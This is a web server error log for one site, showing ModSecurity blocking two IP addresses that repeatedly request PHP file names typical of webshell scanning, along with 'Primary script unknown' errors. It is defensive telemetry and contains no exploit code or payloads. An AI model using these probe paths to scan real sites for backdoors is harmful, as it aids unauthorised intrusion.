[Fri Apr 17 05:20:27.800109 2026] [:error] [pid 9263:tid 9266] [client 20.111.44.26:7139] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-post-data.php"] [unique_id "aeFSmxP68VyHNvj1e57p9gAAAME"]
[Fri Apr 17 05:20:28.309058 2026] [:error] [pid 9151:tid 9181] [client 20.111.44.26:63404] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-recovery-mode-key-service-add.php"] [unique_id "aeFSnMhTVuRPkua22vSS0gAAABQ"]
[Fri Apr 17 05:20:28.851171 2026] [:error] [pid 51878:tid 51892] [client 20.111.44.26:56353] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-recovery-mode-key-service-add.php"] [unique_id "aeFSnEnQhUtMbw9EsgZU_QAAAQw"]
[Fri Apr 17 05:20:29.350454 2026] [:error] [pid 51878:tid 51898] [client 20.111.44.26:60495] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-recovery-mode-key-service-add.php"] [unique_id "aeFSnUnQhUtMbw9EsgZU_gAAARI"]
[Fri Apr 17 05:20:29.853680 2026] [:error] [pid 51878:tid 51889] [client 20.111.44.26:6466] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-recovery-mode-key-service-add.php"] [unique_id "aeFSnUnQhUtMbw9EsgZVAQAAAQk"]
[Fri Apr 17 05:20:30.393182 2026] [:error] [pid 9153:tid 9230] [client 20.111.44.26:63365] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Marvins.php"] [unique_id "aeFSnuMHGxkTZX3c45fydgAAAIw"]
[Fri Apr 17 05:20:30.896878 2026] [:error] [pid 51878:tid 51887] [client 20.111.44.26:7167] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Marvins.php"] [unique_id "aeFSnknQhUtMbw9EsgZVBAAAAQc"]
[Fri Apr 17 05:20:31.373725 2026] [:error] [pid 9151:tid 9169] [client 20.111.44.26:33615] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Marvins.php"] [unique_id "aeFSn8hTVuRPkua22vSS1gAAAAg"]
[Fri Apr 17 05:20:31.879545 2026] [:error] [pid 9152:tid 9193] [client 20.111.44.26:45612] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Marvins.php"] [unique_id "aeFSn5JYca8I3TNCwIcFQgAAAEM"]
[Fri Apr 17 05:20:32.394357 2026] [:error] [pid 9152:tid 9209] [client 20.111.44.26:63409] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/astab.php"] [unique_id "aeFSoJJYca8I3TNCwIcFRQAAAFM"]
[Fri Apr 17 05:20:32.904351 2026] [:error] [pid 51878:tid 51881] [client 20.111.44.26:6492] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/astab.php"] [unique_id "aeFSoEnQhUtMbw9EsgZVCgAAAQE"]
[Fri Apr 17 05:20:33.405863 2026] [:error] [pid 9263:tid 9283] [client 20.111.44.26:6482] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/astab.php"] [unique_id "aeFSoRP68VyHNvj1e57p_QAAANI"]
[Fri Apr 17 05:20:33.906805 2026] [:error] [pid 51878:tid 51892] [client 20.111.44.26:45569] [client 20.111.44.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/astab.php"] [unique_id "aeFSoUnQhUtMbw9EsgZVDQAAAQw"]
[Fri Apr 17 06:23:11.128174 2026] [proxy_fcgi:error] [pid 9263:tid 9267] [client 20.91.253.196:12266] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:23:11.398367 2026] [proxy_fcgi:error] [pid 9263:tid 9281] [client 20.91.253.196:12266] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:23:11.693099 2026] [proxy_fcgi:error] [pid 9263:tid 9280] [client 20.91.253.196:12266] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:23:11.963956 2026] [proxy_fcgi:error] [pid 9263:tid 9277] [client 20.91.253.196:12266] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:23:12.666856 2026] [proxy_fcgi:error] [pid 9263:tid 9268] [client 20.91.253.196:12266] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:23:12.935304 2026] [proxy_fcgi:error] [pid 9263:tid 9279] [client 20.91.253.196:12266] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:23:13.210038 2026] [proxy_fcgi:error] [pid 9263:tid 9276] [client 20.91.253.196:12266] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:23:13.477048 2026] [proxy_fcgi:error] [pid 9263:tid 9287] [client 20.91.253.196:12266] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:23:13.746989 2026] [proxy_fcgi:error] [pid 9263:tid 9282] [client 20.91.253.196:12266] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:23:14.016421 2026] [proxy_fcgi:error] [pid 9263:tid 9278] [client 20.91.253.196:12266] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:23:14.280020 2026] [:error] [pid 9263:tid 9281] [client 20.91.253.196:12266] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeFhUhP68VyHNvj1e54RvAAAANA"]
[Fri Apr 17 06:23:16.359908 2026] [:error] [pid 51878:tid 51880] [client 20.91.253.196:12173] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeFhVEnQhUtMbw9EsgaN8AAAAQA"]
[Fri Apr 17 06:23:19.804966 2026] [:error] [pid 51878:tid 51881] [client 20.91.253.196:12258] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeFhV0nQhUtMbw9EsgaOGAAAAQE"]
[Fri Apr 17 06:23:23.811106 2026] [:error] [pid 9263:tid 9270] [client 20.91.253.196:12251] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeFhWxP68VyHNvj1e54R7wAAAMU"]
[Fri Apr 17 06:23:25.611980 2026] [:error] [pid 51878:tid 51883] [client 20.91.253.196:12197] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cdn3.php"] [unique_id "aeFhXUnQhUtMbw9EsgaOUwAAAQM"]
[Fri Apr 17 06:23:28.380063 2026] [:error] [pid 9153:tid 9237] [client 20.91.253.196:12255] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cdn3.php"] [unique_id "aeFhYOMHGxkTZX3c45cSmgAAAJM"]
[Fri Apr 17 06:23:30.991772 2026] [:error] [pid 51878:tid 51881] [client 20.91.253.196:12230] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cdn3.php"] [unique_id "aeFhYknQhUtMbw9EsgaOkgAAAQE"]
[Fri Apr 17 06:23:34.232858 2026] [:error] [pid 9153:tid 9236] [client 20.91.253.196:12254] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cdn3.php"] [unique_id "aeFhZuMHGxkTZX3c45cSuQAAAJI"]
[Fri Apr 17 06:23:36.429077 2026] [:error] [pid 51878:tid 51894] [client 20.91.253.196:12224] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeFhaEnQhUtMbw9EsgaOxwAAAQ4"]
[Fri Apr 17 06:23:38.046969 2026] [:error] [pid 51878:tid 51899] [client 20.91.253.196:12247] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeFhaknQhUtMbw9EsgaO2AAAARM"]
[Fri Apr 17 06:23:38.806684 2026] [:error] [pid 51878:tid 51884] [client 20.91.253.196:12239] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeFhaknQhUtMbw9EsgaO4wAAAQQ"]
[Fri Apr 17 06:23:39.946193 2026] [:error] [pid 9151:tid 9175] [client 20.91.253.196:12237] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeFha8hTVuRPkua22vSo4gAAAA4"]
[Fri Apr 17 06:23:41.454439 2026] [:error] [pid 9152:tid 9200] [client 20.91.253.196:12281] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/beerd.php"] [unique_id "aeFhbZJYca8I3TNCwIceHQAAAEo"]
[Fri Apr 17 06:23:45.198687 2026] [:error] [pid 9153:tid 9225] [client 20.91.253.196:12259] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/beerd.php"] [unique_id "aeFhceMHGxkTZX3c45cS4QAAAIc"]
[Fri Apr 17 06:23:51.158880 2026] [:error] [pid 51878:tid 51886] [client 20.91.253.196:12261] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/beerd.php"] [unique_id "aeFhd0nQhUtMbw9EsgaPQAAAAQY"]
[Fri Apr 17 06:23:53.981709 2026] [:error] [pid 51878:tid 51891] [client 20.91.253.196:12233] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/beerd.php"] [unique_id "aeFheUnQhUtMbw9EsgaPXwAAAQs"]
[Fri Apr 17 06:23:55.248982 2026] [:error] [pid 9151:tid 9182] [client 20.91.253.196:12284] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hhxc.php"] [unique_id "aeFhe8hTVuRPkua22vSpKgAAABU"]
[Fri Apr 17 06:23:57.215217 2026] [:error] [pid 51878:tid 51901] [client 20.91.253.196:12284] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hhxc.php"] [unique_id "aeFhfUnQhUtMbw9EsgaPiAAAARU"]
[Fri Apr 17 06:23:59.852062 2026] [:error] [pid 9153:tid 9231] [client 20.91.253.196:12235] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hhxc.php"] [unique_id "aeFhf-MHGxkTZX3c45cTQAAAAI0"]
[Fri Apr 17 06:24:03.397473 2026] [:error] [pid 9153:tid 9236] [client 20.91.253.196:12252] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hhxc.php"] [unique_id "aeFhg-MHGxkTZX3c45cTXQAAAJI"]
[Fri Apr 17 06:24:04.524604 2026] [:error] [pid 9153:tid 9230] [client 20.91.253.196:12162] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/161dfd072f.php"] [unique_id "aeFhhOMHGxkTZX3c45cTZgAAAIw"]
[Fri Apr 17 06:24:05.369616 2026] [:error] [pid 51878:tid 51883] [client 20.91.253.196:12269] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/161dfd072f.php"] [unique_id "aeFhhUnQhUtMbw9EsgaQLwAAAQM"]
[Fri Apr 17 06:24:06.307798 2026] [:error] [pid 9151:tid 9172] [client 20.91.253.196:12167] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/161dfd072f.php"] [unique_id "aeFhhshTVuRPkua22vSpXAAAAAs"]
[Fri Apr 17 06:24:07.737169 2026] [:error] [pid 9263:tid 9282] [client 20.91.253.196:12216] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/161dfd072f.php"] [unique_id "aeFhhxP68VyHNvj1e54TVQAAANE"]
[Fri Apr 17 06:24:08.874886 2026] [:error] [pid 9151:tid 9165] [client 20.91.253.196:12265] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeFhiMhTVuRPkua22vSpjAAAAAQ"]
[Fri Apr 17 06:24:09.756695 2026] [:error] [pid 51878:tid 51889] [client 20.91.253.196:12282] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeFhiUnQhUtMbw9EsgaQVwAAAQk"]
[Fri Apr 17 06:24:11.409945 2026] [:error] [pid 51878:tid 51902] [client 20.91.253.196:12220] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeFhi0nQhUtMbw9EsgaQcgAAARY"]
[Fri Apr 17 06:24:14.110964 2026] [proxy_fcgi:error] [pid 9263:tid 9271] [client 20.91.253.196:12165] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:24:14.385004 2026] [proxy_fcgi:error] [pid 9263:tid 9269] [client 20.91.253.196:12165] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:24:14.651682 2026] [proxy_fcgi:error] [pid 9263:tid 9282] [client 20.91.253.196:12165] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:24:14.958108 2026] [proxy_fcgi:error] [pid 9263:tid 9288] [client 20.91.253.196:12165] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:24:15.647286 2026] [proxy_fcgi:error] [pid 9263:tid 9274] [client 20.91.253.196:12165] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:24:16.525311 2026] [proxy_fcgi:error] [pid 9263:tid 9277] [client 20.91.253.196:12165] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:24:16.797445 2026] [proxy_fcgi:error] [pid 9263:tid 9286] [client 20.91.253.196:12165] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:24:17.075515 2026] [proxy_fcgi:error] [pid 9263:tid 9273] [client 20.91.253.196:12165] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:24:17.361174 2026] [proxy_fcgi:error] [pid 9263:tid 9269] [client 20.91.253.196:12165] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:24:17.629111 2026] [proxy_fcgi:error] [pid 9263:tid 9281] [client 20.91.253.196:12165] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:24:17.928318 2026] [proxy_fcgi:error] [pid 9263:tid 9265] [client 20.91.253.196:12165] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 06:24:18.194930 2026] [:error] [pid 9263:tid 9284] [client 20.91.253.196:12165] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeFhkhP68VyHNvj1e54TkAAAANM"]
[Fri Apr 17 06:24:20.662925 2026] [:error] [pid 9152:tid 9193] [client 20.91.253.196:12114] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeFhlJJYca8I3TNCwIce4QAAAEM"]
[Fri Apr 17 06:24:22.031550 2026] [:error] [pid 9263:tid 9282] [client 20.91.253.196:12257] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeFhlhP68VyHNvj1e54TpQAAANE"]
[Fri Apr 17 06:24:23.327043 2026] [:error] [pid 9152:tid 9191] [client 20.91.253.196:12161] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aeFhl5JYca8I3TNCwIce6AAAAEE"]
[Fri Apr 17 06:24:23.912780 2026] [:error] [pid 51878:tid 51881] [client 20.91.253.196:12177] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Spow_SRw.php"] [unique_id "aeFhl0nQhUtMbw9EsgaQ4gAAAQE"]
[Fri Apr 17 06:24:25.058551 2026] [:error] [pid 51878:tid 51888] [client 20.91.253.196:12243] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Spow_SRw.php"] [unique_id "aeFhmUnQhUtMbw9EsgaQ9wAAAQg"]
[Fri Apr 17 06:24:26.243915 2026] [:error] [pid 9263:tid 9284] [client 20.91.253.196:12274] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Spow_SRw.php"] [unique_id "aeFhmhP68VyHNvj1e54TzAAAANM"]
[Fri Apr 17 06:24:27.008096 2026] [:error] [pid 51878:tid 51889] [client 20.91.253.196:12219] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Spow_SRw.php"] [unique_id "aeFhm0nQhUtMbw9EsgaRFAAAAQk"]
[Fri Apr 17 06:24:27.629582 2026] [:error] [pid 9263:tid 9281] [client 20.91.253.196:12276] [client 20.91.253.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/albrt.php"] [unique_id "aeFhmxP68VyHNvj1e54T1gAAANA"]
